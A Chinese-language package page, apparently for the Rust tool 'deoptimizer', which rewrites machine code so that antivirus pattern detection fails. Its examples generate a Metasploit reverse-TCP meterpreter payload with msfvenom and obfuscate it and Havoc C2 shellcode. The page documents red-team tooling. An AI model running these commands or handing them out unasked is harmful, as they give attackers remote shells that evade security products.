#恶意软件 #混淆 #检测 #优化 #恶意软件分析 #文件偏移 #规避

app deoptimizer

此工具是一个机器码去优化器。通过将机器码指令转换为它们的函数等价物,它使得绕过安全产品使用的基于模式的检测机制成为可能。

3 个版本

0.1.2 2024 年 7 月 22 日
0.1.1 2024 年 7 月 3 日
0.1.0 2024 年 6 月 19 日

#48编程语言

Download history 170/week @ 2024-06-14 28/week @ 2024-06-21 104/week @ 2024-06-28 33/week @ 2024-07-05 6/week @ 2024-07-12 102/week @ 2024-07-19 22/week @ 2024-07-26 2/week @ 2024-08-02

126 每月下载量

MIT 许可证

3MB
2.5K SLoC

去优化器



GitHub All Releases Build Issues Crates License: MIT

此工具是一个机器码去优化器。通过将机器码指令转换为它们的函数等价物,它使得绕过安全产品使用的基于模式的检测机制成为可能。

为什么?

绕过安全产品是许多进攻性安全活动的重要组成部分。目前各种不同规避工具(如打包程序、shellcode 编码器和混淆器)中使用的 AV 规避技术的大部分都依赖于在 RWE 内存区域上运行的自我修改代码。考虑到当前的安全产品状态,这种规避尝试很容易被内存分析工具(如 MonetaPe-sieve)检测到。本项目通过使用机器码去优化引入了一种新的代码混淆方法。它使用某些数学方法,如算术分区、逻辑逆、多项式变换和逻辑分区,来转换/修改目标二进制文件的指令,而不创建任何可识别的模式。该工具可以通过使用提到的去优化技巧将给定二进制文件的指令转换高达 ~95%。

观看演示以了解更多...

安装

下载预构建的发布二进制文件 这里

Open in Cloud Shell

从源代码

cargo install deoptimizer

Docker 安装

Docker

docker run -it egee/deoptimizer -h

用法

[!WARNING]
此项目仍在开发阶段!可用的转换设备、函数和命令行参数名称可能会调整,不保证向后兼容性。


Usage: Deoptimizer [OPTIONS]

Options:
  -a, --arch <ARCH>                     Target architecture (x86/arm) [default: x86]
  -f, --file <FILE>                     Target binary file name [default: ]
  -o, --outfile <OUTFILE>               Output file name [default: ]
  -s, --source <SOURCE>                 Source assembly file [default: ]
      --syntax <SYNTAX>                 Assembler formatter syntax (nasm/masm/intel/gas) [default: keystone]
  -b, --bitness <BITNESS>               Bitness of the binary file (16/32/64) [default: 64]
  -A, --addr <ADDR>                     Start address in hexadecimal form [default: 0x0000000000000000]
      --skip-offsets <SKIP_OFFSETS>...  File offset range for skipping deoptimization (eg: 0-10 for skipping first ten bytes)
      --no-trace                        Do not perform conntrol flow tracing on the given binary
  -c, --cycle <CYCLE>                   Total number of deoptimization cycles [default: 1]
  -F, --freq <FREQ>                     Deoptimization frequency [default: 0.5]
      --transforms <TRANSFORMS>         Allowed transform routines (ap/li/lp/om/rs) [default: ap,li,lp,om,rs]
      --allow-invalid                   Allow processing of invalid instructions
  -v, --verbose                         Verbose output mode
      --debug                           Debug output mode
  -h, --help                            Print help
  -V, --version                         Print version

示例

  • 生成并去优化 64 位 Metasploit 反向 TCP shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -o shellcode 
deoptimizer -b 64 -F 1 -f /tmp/shellcode

[!WARNING]
某些shellcode可能包含字符串和其他必须跳过的静态数据值!默认情况下,去优化器将执行简单的控制流跟踪以检测代码路径并自动跳过可能的数据偏移。自动跟踪对于较小的shellcode成功有效。(已用所有Metasploit windows/*/meterpreter/* shellcode进行测试)然而,由于这项任务的复杂性,跟踪可能会过多地跳过或对于某些大型/复杂的shellcode完全失败。

在这种情况下,建议使用--no-trace参数禁用跟踪器。没有跟踪器,需要使用--skip-offsets参数手动指定字符串偏移。

Havoc Framework生成的shellcode是此类用例的好例子。Havoc Framework生成包含完整DLL文件和PE加载器的大型shellcode。以下示例显示了如何跳过Havoc shellcode的DLL部分。

deoptimizer -F 1 --no-trace --skip-offsets 0x46F-0x18BFF -f havoc_demon.x64.bin -o shellcode
# These offsets seems to be stable for all havoc shellcodes for now. But verification of the offsets is recommended. 

当前支持的架构

  • 支持的
  • 🚧 进行中
  • 不支持
架构 32 64
x86
ARM 🚧
RISCV 🚧

待办

  • 支持PE文件。
  • 支持ELF文件。
  • 支持Mach-O文件。
  • 支持ARM架构。
  • 支持RISC5架构。

依赖

~20–29MB
~484K SLoC